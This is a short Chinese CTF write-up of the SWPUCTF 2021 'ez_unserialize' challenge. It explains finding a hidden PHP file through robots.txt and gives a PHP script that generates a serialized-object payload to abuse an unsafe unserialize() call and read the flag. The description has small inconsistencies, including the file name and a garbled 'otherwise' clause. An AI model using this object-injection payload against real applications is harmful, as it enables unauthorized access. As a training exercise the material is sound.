[SWPUCTF 2021 新生赛]ez_unserialize
打开靶机之后得不到信息那就试着查看页面源码了
看到disallow(就是不可以被搜索到的),就想到了robots协议,就试着查看一下robots.txt.文件了
看见提示是c145s.php这个文件,那就查看该文件
得到了php脚本
这段代码是一个PHP脚本,用于进行代码审计。它首先关闭了错误报告,然后显示了"cl45s.php"文件的源代码。接下来,定义了一个名为"wllm"的类,该类具有两个公共属性admin和passwd。在类的构造函数中,为这两个属性分别赋值为"user"和"123456"
在类的析构函数中,首先检查admin属性是否等于"admin",且passwd属性是否等于"ctf"。如果满足条件,则包含并执行"flag.php"文件,并输出其中的变量的值。否则,输出flag变量的值。否则,输出admin、$passwd和"Just a bit more!"这三个字符串。
最后,从GET请求中获取名为'p'的参数,并将其反序列化为一个对象。
写出php脚本并输出payload
<?php
class wllm{
public $admin;
public $passwd;
public function __construct()
{
$this->admin ="admin";
$this->passwd ="ctf";
}
}
$s=new wllm;
echo serialize($s);
?>
/*运行得到O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}*/